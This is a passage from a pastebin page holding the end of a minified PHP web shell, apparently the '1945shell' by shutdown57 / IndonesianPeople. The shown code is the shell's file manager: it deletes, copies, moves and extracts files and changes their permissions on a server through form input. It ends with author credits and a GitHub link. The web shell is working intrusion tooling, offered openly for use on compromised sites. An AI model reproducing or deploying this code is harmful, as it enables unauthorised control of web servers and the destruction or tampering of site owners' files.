$op){$optv.=$html->option($op,basename($op));}$view="File selected : ".$html->select("__action__",$optv,"class=\"input_m\" ");$per=substr(sprintf('%o',fileperms($op)),-4);}$input_chmod=$html->input("text","mode","value=\"".$per."\"","Permission ");$input_chmod.=$html->submit("chmod","value=\">>\"");$form_chmod=$html->form("POST",$input_chmod);if(!empty($_GET['_act'])=="chmod")$chmod_form=$form_chmod;else "";foreach($option_oo as $name=>$val){$opt.=$html->option($name,$val);}$select=$html->select("action",$opt,"class=\"input_m\"").$html->submit("sbmt","value=\">>\" ");$html->show($html->tr("<td colspan='9'>".$select." ".$view." ".$chmod_form."</td>"));if(isset($_POST['sbmt'])){if(!empty($_POST['seldir'])){$seldir=$_POST['seldir'];if($_POST['action']=='delete'){if(is_array($_POST['seldir'])){foreach($seldir as $deldir){$act->delete($deldir);$html->show("<meta http-equiv='refresh' content='0;url='>");}}else {$act->delete($seldir);$html->show("<meta http-equiv='refresh' content='0;url='>");}}}if(!empty($_POST['selfile'])){$selfile=$_POST['selfile'];if($_POST['action']=='copy'){$_SESSION['files_select']=array();$n=0;foreach($_POST['selfile'] as $filesel){$_SESSION['files_select'][$n++]=$filesel;$html->show("<meta http-equiv='refresh' content='0;url='>");}}elseif($_POST['action']=='delete'){if(is_array($_POST['selfile'])){foreach($selfile as $delfile){$act->delete($delfile);$html->show("<meta http-equiv='refresh' content='0;url='>");}}else {$act->delete($selfile);$html->show("<meta http-equiv='refresh' content='0;url='>");}}elseif($_POST['action']=='extract'){$_SESSION['files_select']=array();$n=0;foreach($_POST['selfile'] as $filesel){$_SESSION['files_select'][$n++]=$filesel;$html->show("<meta http-equiv='refresh' content='0;url='>");}}elseif($_POST['action']=='chmod'){$_SESSION['files_select']=array();$n=0;foreach($_POST['selfile'] as $pile){$_SESSION['files_select'][$n++]=$pile;}$html->show("<meta http-equiv='refresh' content='0;url=?_act=chmod'>");}if($_POST['action']=='cut'){$_SESSION['files_select']=array();$n=0;foreach($_POST['selfile'] as $pp){$_SESSION['files_select'][$n++]=$pp;}$html->show("<meta http-equiv='refresh' content='0;url='>");}}if($_POST['action']=='paste'){foreach($_SESSION['files_select'] as $fs){copy($fs,$dir."/".basename($fs));unset($_SESSION['files_select']);$html->show("<meta http-equiv='refresh' content='0;url='>");}}}if($_POST['action']=='cancel'){unset($_SESSION['files_select']);$html->show("<meta http-equiv='refresh' content='0;url='>");}if($_POST['action']=='move'){foreach($_SESSION['files_select'] as $fs){copy($fs,$dir."/".basename($fs));unlink($fs);unset($_SESSION['files_select']);$html->show("<meta http-equiv='refresh' content='0;url='>");}}if(isset($_POST['chmod'])){$perms=0;for($i=strlen($_POST['mode'])-1;$i>=0;--$i){$perms+=(int)$_POST['mode'][$i]*pow(8,(strlen($_POST['mode'])-$i-1));}foreach($_SESSION['files_select'] as $file_chmod){if(!@chmod($file_chmod,$perms)){$html->show("<script>alert('failed change Permission'); window.location.href='?';</script>");}else {$html->show("<script>alert('Successfuly change Permission!'); window.location.href='?';</script>");unset($_SESSION['files_select']);}}}$html->show("</table>");}$html->show($html->footer());
  35.  /*
  36. @ Big Thanks To JavCode | http://javacoderules.io | https://javcode.jp
  37. @ Find Our Project In Github : https://github.com/alintamvanz/1945shell
  38. */?>
  39. <!-- copyright (c) 2017 shutdown57 - IndonesianPeople -->
  40. <!-- indonesianpeople.shutdown57@gmail.com | indonesianpeople@yandex.com -->
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top